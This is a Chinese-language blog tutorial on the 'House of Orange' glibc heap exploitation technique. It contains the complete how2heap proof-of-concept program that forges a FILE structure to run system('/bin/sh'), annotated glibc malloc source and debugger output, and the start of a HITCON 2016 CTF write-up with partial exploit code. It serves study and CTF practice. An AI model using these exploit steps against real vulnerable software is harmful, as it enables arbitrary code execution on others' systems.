selph
selph
发布于 2024-01-11 / 119 阅读
0
0

堆利用详解:the house of orange

简介

简介部分来自参考资料[0],所有malloc流程性内容全部参考源码进行分析

漏洞成因

overflow write

适用范围

  • 2.23——2.26
  • 没有 free
  • 可以 unsortedbin attack

利用原理

house of orange 可以说是开启了堆与 IO 组合利用的先河,是非常经典、漂亮、精彩的利用组合技。利用过程还要结合 top_chunk 的性质,利用过程如下:

stage1

  • 申请 chunk A,假设此时的 top_chunksize0xWXYZ
  • A,溢出修改 top_chunksize0xXYZ(需要满足页对齐的检测条件)
  • 申请一个大于 0xXYZ 大小的 chunk,此时 top_chunk 会进行 grow,并将原来的 old top_chunk 释放进入 unsortedbin

stage2

  • 溢出写 A,修改处于 unsortedbin 中的 old top_chunk,修改其 size0x61,其 bk&_IO_list_all-0x10,同时伪造好 IO_FILE 结构
  • 申请非 0x60 大小的 chunk 的时候,首先触发 unsortedbin attack,将_IO_list_all 修改为 main_arena+88,然后 unsortedbin chunk 会进入到 smallbin,大小为 0x60;接着遍历 unsortedbin 的时候触发了 malloc_printerr,然后调用链为:malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp,调用到伪造的 vtable 里面的函数指针

相关技巧

  • glibc-2.24 后加入了 vtablecheck,不能任意地址伪造 vatble 了,但是可以利用 IO_str_jumps 结构进行利用。
  • glibc-2.26 后,malloc_printerr 不再刷新 IO 流了,所以该方法失效
  • 由于_mode 的正负性是随机的,影响判断条件,大概有 1/2 的概率会利用失败,多试几次就好

利用效果

  • 任意函数执行
  • 任意命令执行

实验:how2heap - house of orange

实验环境:libc 2.23

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
  It requires a leak of the heap and the libc
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
   This function is just present to emulate the scenario where
   the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
    /*
      The House of Orange starts with the assumption that a buffer overflow exists on the heap
      using which the Top (also called the Wilderness) chunk can be corrupted.
  
      At the beginning of execution, the entire heap is part of the Top chunk.
      The first allocations are usually pieces of the Top chunk that are broken off to service the request.
      Thus, with every allocation, the Top chunks keeps getting smaller.
      And in a situation where the size of the Top chunk is smaller than the requested value,
      there are two possibilities:
       1) Extend the Top chunk
       2) Mmap a new page

      If the size requested is smaller than 0x21000, then the former is followed.
    */

    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    /*
      Firstly, lets allocate a chunk on the heap.
    */

    p1 = malloc(0x400-16);

    /*
       The heap is usually allocated with a top chunk of size 0x21000
       Since we've allocate a chunk of size 0x400 already,
       what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.

       The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
       it must also be page aligned at the end.

       Also, if a chunk that is adjacent to the Top chunk is to be freed,
       then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.

       So that means that there are two conditions that must always be true.
        1) Top chunk + size has to be page aligned
        2) Top chunk's prev_inuse bit has to be set.

       We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
       What's left is 0x20c01

       Now, let's satisfy the conditions
       1) Top chunk + size has to be page aligned
       2) Top chunk's prev_inuse bit has to be set.
    */

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    /* 
       Now we request a chunk of size larger than the size of the Top chunk.
       Malloc tries to service this request by extending the Top chunk
       This forces sysmalloc to be invoked.

       In the usual scenario, the heap looks like the following
          |------------|------------|------...----|
          |    chunk   |    chunk   | Top  ...    |
          |------------|------------|------...----|
      heap start                              heap end

       And the new area that gets allocated is contiguous to the old heap end.
       So the new size of the Top chunk is the sum of the old size and the newly allocated size.

       In order to keep track of this change in size, malloc uses a fencepost chunk,
       which is basically a temporary chunk.

       After the size of the Top chunk has been updated, this chunk gets freed.

       In our scenario however, the heap looks like
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | Top  ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                            heap end

       In this situation, the new Top will be starting from an address that is adjacent to the heap end.
       So the area between the second chunk and the heap end is unused.
       And the old Top chunk gets freed.
       Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
       it gets added to list of unsorted bins.
       Now we request a chunk of size larger than the size of the top chunk.
       This forces sysmalloc to be invoked.
       And ultimately invokes _int_free

       Finally the heap looks like this:
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | free ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                                             new heap end



    */

    p2 = malloc(0x1000);
    /*
      Note that the above chunk will be allocated in a different page
      that gets mmapped. It will be placed after the old heap's end

      Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins


      Here starts phase two of the attack. We assume that we have an overflow into the old
      top chunk so we could overwrite the chunk's size.
      For the second phase we utilize this overflow again to overwrite the fd and bk pointer
      of this chunk in the unsorted bin list.
      There are two common ways to exploit the current state:
        - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
        - Use the unlinking of the chunk for an *where*-controlled write of the
          libc's main_arena unsorted-bin-list. (requires at least one allocation)

      The former attack is pretty straight forward to exploit, so we will only elaborate
      on a variant of the latter, developed by Angelboy in the blog post linked above.

      The attack is pretty stunning, as it exploits the abort call itself, which
      is triggered when the libc detects any bogus state of the heap.
      Whenever abort is triggered, it will flush all the file pointers by calling
      _IO_flush_all_lockp. Eventually, walking through the linked list in
      _IO_list_all and calling _IO_OVERFLOW on them.

      The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
      _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
      that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
      More about file-pointer exploitation can be found here:
      https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

      The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
      currently point to the libc's main_arena.
    */

    io_list_all = top[2] + 0x9a8;

    /*
      We plan to overwrite the fd and bk pointers of the old top,
      which has now been added to the unsorted bins.

      When malloc tries to satisfy a request by splitting this free chunk
      the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
      in libc's main_arena.

      Note that this overwrite occurs before the sanity check and therefore, will occur in any
      case.

      Here, we require that chunk->bk->fd to be the value of _IO_list_all.
      So, we should set chunk->bk to be _IO_list_all - 16
    */
 
    top[3] = io_list_all - 0x10;

    /*
      At the end, the system function will be invoked with the pointer to this file pointer.
      If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
    */

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    /*
      The function _IO_flush_all_lockp iterates through the file pointer linked-list
      in _IO_list_all.
      Since we can only overwrite this address with main_arena's unsorted-bin-list,
      the idea is to get control over the memory at the corresponding fd-ptr.
      The address of the next file pointer is located at base_address+0x68.
      This corresponds to smallbin-4, which holds all the smallbins of
      sizes between 90 and 98. For further information about the libc's bin organisation
      see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

      Since we overflow the old top chunk, we also control it's size field.
      Here it gets a little bit tricky, currently the old top chunk is in the
      unsortedbin list. For each allocation, malloc tries to serve the chunks
      in this list first, therefore, iterates over the list.
      Furthermore, it will sort all non-fitting chunks into the corresponding bins.
      If we set the size to 0x61 (97) (prev_inuse bit has to be set)
      and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
      smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
      therefore, occupying the smallbin[4] location in the main_arena and
      eventually representing the fake file pointer's fd-ptr.

      In addition to sorting, malloc will also perform certain size checks on them,
      so after sorting the old top chunk and following the bogus fd pointer
      to _IO_list_all, it will check the corresponding size field, detect
      that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
      and finally triggering the abort call that gets our chain rolling.
      Here is the corresponding code in the libc:
      https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
    */

    top[1] = 0x61;

    /*
      Now comes the part where we satisfy the constraints on the fake file pointer
      required by the function _IO_flush_all_lockp and tested here:
      https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

      We want to satisfy the first condition:
      fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
    */

    FILE *fp = (FILE *) top;


    /*
      1. Set mode to 0: fp->_mode <= 0
    */

    fp->_mode = 0; // top+0xc0


    /*
      2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
    */

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    /*
      4) Finally set the jump table to controlled memory and place system there.
      The jump table pointer is right after the FILE struct:
      base_address+sizeof(FILE) = jump_table

         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner
    */

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);

   /*
     The libc's error message will be printed to the screen
     But you'll get a shell anyways.
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}

stage1:通过 top grow 获得 unsortedbin chunk

首先第一件事是申请一个chunk(0x400),然后模拟溢出,修改top chunk为很小的值

pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0xc00 (with flag bits: 0xc01)

top chunk 通常大小是 0x21000 字节大小,边界是页对齐的,所以修改top chunk size的时候也要注意页对齐,需要满足的条件:

  1. top chunk + size 是页对齐
  2. top chunk's prev_inuse 位被设置

当下一次申请内存的时候,top chunk不够切割的了,就会触发grow机制(后面介绍grow是过程)

grow的结果是对当前top chunk进行一次_int_free的调用,且创建新的top chunk

pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
smallbins
empty
largebins
empty


pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x624010
Size: 0x20ff0 (with flag bits: 0x20ff1)

top chunk grow 的过程

触发函数是sysmalloc:

当top chunk大小不够了,就会调用sysmalloc进行处理

        {
            void *p = sysmalloc(nb, av);
            if (p != NULL)
                alloc_perturb(p, bytes);
            return p;
        }

该函数里首先检查大小是否达到了需要使用mmap来申请内存的范围mp_.mmap_threshold大小够了就通过mmap来分配内存

否则就进入gorw的过程:此处是使用main arena的情况,正常会进入如下流程:

首先是一个安全检查:

  1. top chunk size >= 0x10 (MINSIZE),不能太小
  2. top chunk 需要有prev_inuse 标志
  3. top chunk + top size 大小小于一个页面(0x1000字节),且页对齐

意味着需要top chunk的大小小于0x1000,还要计算结尾是页面对齐的

另一个检查是:申请大小超过top size

    // 安全检查:需要old_size至少是MINSIZE,并且有prev_inuse设置
    //          需要old top满足要求,大小正常,标志位正常
    assert((old_top == initial_top(av) && old_size == 0) ||
           ((unsigned long)(old_size) >= MINSIZE &&
            prev_inuse(old_top) &&
            ((unsigned long)old_end & (pagesize - 1)) == 0));

    /* Precondition: not enough current space to satisfy nb request */
    // 没有足够的空间用于申请分配内存
    assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));

然后是:

        // 正常情况下调用MORECORE处理size
        if (size > 0)   // 大小不离谱的话,进入
        {
            // brk是堆空间结束地址,调用MORECORE去扩展结束地址指定大小
            brk = (char *)(MORECORE(size)); // 扩展堆地址
            if (brk != (char *)(MORECORE_FAILURE))
                // 处理巨型透明页相关
                madvise_thp(brk, size); 
            LIBC_PROBE(memory_sbrk_more, 2, brk, size);
        }

这里会扩展堆内存的结束位置,后续计算内存对齐的时候还会调用一次MORECORE

扩展失败会尝试mmap再次进行,扩展成功之后:会设置新的top chunk,然后把原本的top chunk给释放掉

/* Adjust top based on results of second sbrk */
                // 基于第二次sbrk的结果调整 top
                if (snd_brk != (char *)(MORECORE_FAILURE))
                {
                    // 设置top 指针
                    av->top = (mchunkptr)aligned_brk;
                    // 设置top hdr
                    set_head(av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
                    // 设置新的系统内存
                    av->system_mem += correction;

                    /*
                       If not the first time through, we either have a
                       gap due to foreign sbrk or a non-contiguous region.  Insert a
                       double fencepost at old_top to prevent consolidation with space
                       we don't own. These fenceposts are artificial chunks that are
                       marked as inuse and are in any case too small to use.  We need
                       two to make sizes and alignments work out.
                     */
                    // 如果old size还有值,没用光,就释放掉old top
                    if (old_size != 0)
                    {
                        /*
                           Shrink old_top to insert fenceposts, keeping size a
                           multiple of MALLOC_ALIGNMENT. We know there is at least
                           enough space in old_top to do this.
                         */
                        // 收缩old top
                        old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
                        set_head(old_top, old_size | PREV_INUSE);

                        /*
                           Note that the following assignments completely overwrite
                           old_top when old_size was previously MINSIZE.  This is
                           intentional. We need the fencepost, even if old_top otherwise gets
                           lost.
                         */
                        // 设置old top 的next chunk为合适的值,用于后续进行释放top chunk的操作
                        set_head(chunk_at_offset(old_top, old_size),
                                 CHUNK_HDR_SZ | PREV_INUSE);
                        set_head(chunk_at_offset(old_top,
                                                 old_size + CHUNK_HDR_SZ),
                                 CHUNK_HDR_SZ | PREV_INUSE);

                        /* If possible, release the rest. */
                        // old size,就释放掉old top
                        if (old_size >= MINSIZE)
                        {
                            // 释放old top
                            _int_free(av, old_top, 1);
                        }
                    }
                }

最后就是常规的分割top chunk然后分配了:

    // 如果更新后的系统内存大于av原本的最大,就设置当前为最大值
    if ((unsigned long)av->system_mem > (unsigned long)(av->max_system_mem))
        av->max_system_mem = av->system_mem;
    check_malloc_state(av);

    /* finally, do the allocation */
    // 进行申请内存操作,此时已经扩展好了top chunk
    p = av->top;
    size = chunksize(p);

    /* check that one of the above allocation paths succeeded */
    // 扩展后的top大小应该超过申请内存的大小
    if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
    {
        // 切割top chunk,分配内存
        remainder_size = size - nb;
        remainder = chunk_at_offset(p, nb);
        av->top = remainder;
        set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head(remainder, remainder_size | PREV_INUSE);
        check_malloced_chunk(av, p, nb);
        return chunk2mem(p);
    }

    /* catch all failure paths */
    __set_errno(ENOMEM);
    return 0;
}

stage2:unsortedbin attack 劫持 _IO_list_all

修改unsortedbin的bk为_IO_list_all-0x10:

pwndbg> x/g 0x7ffff7fcc520
0x7ffff7fcc520 <__GI__IO_list_all>:     0x00007ffff7fcc540

pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
BK: 0x602400 —▸ 0x7ffff7fcc510 ◂— 0x0
smallbins
empty
largebins
empty

接下来构造_IO_list_all结构:本例是在内存中直接伪造结构,将目标指针修改成了堆中,在堆中伪造结构

伪造的要点:

  1. file->_mode <= 0
  2. file->_IO_write_base < file->_IO_write_ptr
  3. jump_table[3] = 目标执行的函数
pwndbg> dt "struct _IO_FILE_plus" 0x602400
struct _IO_FILE_plus @ 0x602400
    +0x0000 file                 : {
                                     _flags = 1852400175,
                                     _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
                                     _IO_read_end = 0x7ffff7fcbb78 <main_arena+88> "\020@b",
                                     _IO_read_base = 0x7ffff7fcc510 "",
                                     _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
                                     _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
                                     _IO_write_end = 0x0,
                                     _IO_buf_base = 0x0,
                                     _IO_buf_end = 0x0,
                                     _IO_save_base = 0x0,
                                     _IO_backup_base = 0x0,
                                     _IO_save_end = 0x0,
                                     _markers = 0x0,
                                     _chain = 0x0,
                                     _fileno = 0,
                                     _flags2 = 0,
                                     _old_offset = 4196319,
                                     _cur_column = 0,
                                     _vtable_offset = 0 '\000',
                                     _shortbuf = "",
                                     _lock = 0x0,
                                     _offset = 0,
                                     _codecvt = 0x0,
                                     _wide_data = 0x0,
                                     _freeres_list = 0x0,
                                     _freeres_buf = 0x0,
                                     __pad5 = 0,
                                     _mode = 0,
                                     _unused2 = '\000' <repeats 19 times>
                                   }
    +0x00d8 vtable               : 0x602460

最后申请随便一个大小的chunk,让unsortedbin触发断链,然后异常崩溃退出的时候调用_IO_file_list里的jump_table的函数

root@80a2cd56d41b:~/selph# ./house_of_orange.bak
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./house_of_orange.bak': malloc(): memory corruption: 0x00007fa8e8eb0520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7fa8e8b627f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7fa8e8b6d15e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fa8e8b6f1d4]
./house_of_orange.bak[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa8e8b0b840]
./house_of_orange.bak[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:20 13067                              /root/selph/house_of_orange.bak
00600000-00601000 r--p 00000000 08:20 13067                              /root/selph/house_of_orange.bak
00601000-00602000 rw-p 00001000 08:20 13067                              /root/selph/house_of_orange.bak
02114000-02157000 rw-p 00000000 00:00 0                                  [heap]
7fa8e4000000-7fa8e4021000 rw-p 00000000 00:00 0
7fa8e4021000-7fa8e8000000 ---p 00000000 00:00 0
7fa8e88d5000-7fa8e88eb000 r-xp 00000000 08:40 1029                       /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa8e88eb000-7fa8e8aea000 ---p 00016000 08:40 1029                       /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa8e8aea000-7fa8e8aeb000 rw-p 00015000 08:40 1029                       /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa8e8aeb000-7fa8e8cab000 r-xp 00000000 08:40 1008                       /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8cab000-7fa8e8eab000 ---p 001c0000 08:40 1008                       /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8eab000-7fa8e8eaf000 r--p 001c0000 08:40 1008                       /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8eaf000-7fa8e8eb1000 rw-p 001c4000 08:40 1008                       /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8eb1000-7fa8e8eb5000 rw-p 00000000 00:00 0
7fa8e8eb5000-7fa8e8edb000 r-xp 00000000 08:40 988                        /lib/x86_64-linux-gnu/ld-2.23.so
7fa8e90d4000-7fa8e90d7000 rw-p 00000000 00:00 0
7fa8e90d9000-7fa8e90da000 rw-p 00000000 00:00 0
7fa8e90da000-7fa8e90db000 r--p 00025000 08:40 988                        /lib/x86_64-linux-gnu/ld-2.23.so
7fa8e90db000-7fa8e90dc000 rw-p 00026000 08:40 988                        /lib/x86_64-linux-gnu/ld-2.23.so
7fa8e90dc000-7fa8e90dd000 rw-p 00000000 00:00 0
7ffd1ebe7000-7ffd1ec08000 rw-p 00000000 00:00 0                          [stack]
7ffd1ec52000-7ffd1ec56000 r--p 00000000 00:00 0                          [vvar]
7ffd1ec56000-7ffd1ec58000 r-xp 00000000 00:00 0                          [vdso]

# w
 07:55:08 up  5:37,  0 users,  load average: 0.30, 0.08, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

FSOP:_IO_file_list 中的函数是怎么被执行的?

2.24 开始把vtable指针设置成了只读,且会检查vtable调用的指针是否在vtable所在段,以至于该方法在2.24中失效

本段内容来自ctf wiki[5]

FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。

FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}

触发_IO_flush_all_lockp的条件是:

  • 当 libc 执行 abort 流程时
  • 当执行 exit 函数时
  • 当执行流从 main 函数返回时

执行_IO_OVERFLOW的条件是:

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

其中,_IO_list_all 是libc的全局变量,泄露libc地址即可拿到该指针所在地址

利用FSOP需要做的是:

  1. 泄露libc地址,
  2. 伪造_IO_list_all结构,覆盖其overflow指针为目标函数
  3. 覆盖_IO_list_all指针为可控地址
  4. 触发程序错误或退出程序

伪造结构:

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

实验: hitconctf2016 - houseoforange

还有很多重要的细节,在接下来的实例中进行分析

题目分析:

菜单题:

+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice :

首先是选项1:

int sub_D37()
{
  unsigned int houseCount; // [rsp+8h] [rbp-18h]
  int color; // [rsp+Ch] [rbp-14h]
  void *house; // [rsp+10h] [rbp-10h]
  _DWORD *orange; // [rsp+18h] [rbp-8h]

  if ( count > 3u )
  {
    puts("Too many house");
    exit(1);
  }
  house = malloc(0x10uLL);                      // 第一次 malloc,大小固定0x10
  printf("Length of name :");
  houseCount = convertStringToInt();
  if ( houseCount > 0x1000 )
    houseCount = 4096;                          // 最大 0x1000
  *((_QWORD *)house + 1) = malloc(houseCount);  // 第二次 malloc,大小自定
  if ( !*((_QWORD *)house + 1) )
  {
    puts("Malloc error !!!");
    exit(1);
  }
  printf("Name :");
  call_read(*((void **)house + 1), houseCount);
  orange = calloc(1uLL, 8uLL);                  // 第三次 calloc,大小固定0x8
  printf("Price of Orange:");
  *orange = convertStringToInt();               // 输入一个整数,可以很长
  color_menu();
  printf("Color of Orange:");
  color = convertStringToInt();
  if ( color != 56746 && (color <= 0 || color > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( color == 56746 )
    orange[1] = 56746;
  else
    orange[1] = color + 0x1E;
  *(_QWORD *)house = orange;
  g_house = house;
  ++count;
  return puts("Finish");
}

主要就2个点:

  1. 该选项最多用4次
  2. 每次使用会申请3个chunk,其中第1和第3个大小固定,第二个可选

然后是选项2:

int show()
{
  int temp; // eax
  int random_num; // eax

  if ( !g_house )
    return puts("No such house !");
  if ( *(_DWORD *)(*g_house + 4LL) == 56746 )
  {
    printf("Name of house : %s\n", (const char *)g_house[1]);// 显示信息
    printf("Price of orange : %d\n", *(unsigned int *)*g_house);// 显示信息
    temp = rand();
    return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + temp % 8));
  }
  else
  {
    if ( *(int *)(*g_house + 4LL) <= 30 || *(int *)(*g_house + 4LL) > 37 )
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", (const char *)g_house[1]);
    printf("Price of orange : %d\n", *(unsigned int *)*g_house);
    random_num = rand();
    return printf(
             "\x1B[%dm%s\x1B[0m\n",
             *(unsigned int *)(*g_house + 4LL),
             *((const char **)&unk_203080 + random_num % 8));
  }
}

这个就是用来显示信息的

选项3:

int edit()
{
  _DWORD *v1; // rbx
  unsigned int size; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]

  if ( unk_203074 > 2u )
    return puts("You can't upgrade more");
  if ( !g_house )
    return puts("No such house !");
  printf("Length of name :");
  size = convertStringToInt();
  if ( size > 0x1000 )
    size = 4096;
  printf("Name:");
  call_read((void *)g_house[1], size);          // overflow write
                                                // 使用用户输入的大小向已经创建好的chunk写入数据,堆溢出写
  printf("Price of Orange: ");
  v1 = (_DWORD *)*g_house;
  *v1 = convertStringToInt();
  color_menu();
  printf("Color of Orange: ");
  v3 = convertStringToInt();
  if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( v3 == 0xDDAA )
    *(_DWORD *)(*g_house + 4LL) = 0xDDAA;
  else
    *(_DWORD *)(*g_house + 4LL) = v3 + 30;
  ++unk_203074;
  return puts("Finish");
}

主要一个点:堆溢出写


整理当前情况:

  • 程序没有free功能

  • 总共可以执行4次创建(分配内存),每次分配3个chunk

    • 第一个chunk记录后两个chunk的地址
    • 第二个的大小可控,内容可控
    • 第三个记录一些无关紧要的数据
  • 编辑功能存在堆溢出,可以溢出大小可控的那个chunk

在没有free的情况下可以用house of orange创造一个unsortedbin;完成house of orange的利用还需要libc leak 和 heap leak的配合

house of orange:stage1 - 获取 unsortedbin chunk

思路是:

  1. 正常进行第一次申请,通过编辑,造成堆溢出把top chunk改小
  2. 正常进行第二次申请,申请大小超过top chunk大小,触发grow机制,产生unsortedbin chunk
size1 = 0x308
add(size1,'a',0x400,1)
edit(size1+0x28,flat({
    size1:pack(0x21),
    size1+0x20:pack(0x1000 - 0x20 -0x20 - (size1+0x8) + 1)
}),0x400,1)

# alloc a chunk size > top size
# trigger top grow
add(0x1000,'a',123,1)

堆布局:

0x55a83df5e310  0x6861616b6861616a      0x6861616d6861616c      jaahkaahlaahmaah
0x55a83df5e320  0x6861616f6861616e      0x6861617168616170      naahoaahpaahqaah

0x55a83df5e330  0x6861617368616172      0x0000000000000021      raahsaah!.......	chunk 1
0x55a83df5e340  0x0000001f00000400      0x6861617968616178      ........xaahyaah	chunk 2 around new top chunk 

0x55a83df5e350  0x696161626961617a      0x0000000000000021      zaaibaai!.......	chunk 3
0x55a83df5e360  0x000055a83df5e380      0x000055a83df7f010      ...=.U.....=.U..
0x55a83df5e370  0x0000000000000000      0x0000000000000021      ........!.......
0x55a83df5e380  0x0000001f0000007b      0x0000000000000000      {...............

0x55a83df5e390  0x0000000000000000      0x0000000000000c51      ........Q.......         <-- unsortedbin[all][0]
0x55a83df5e3a0  0x00007f2bd5beeb78      0x00007f2bd5beeb78      x...+...x...+...
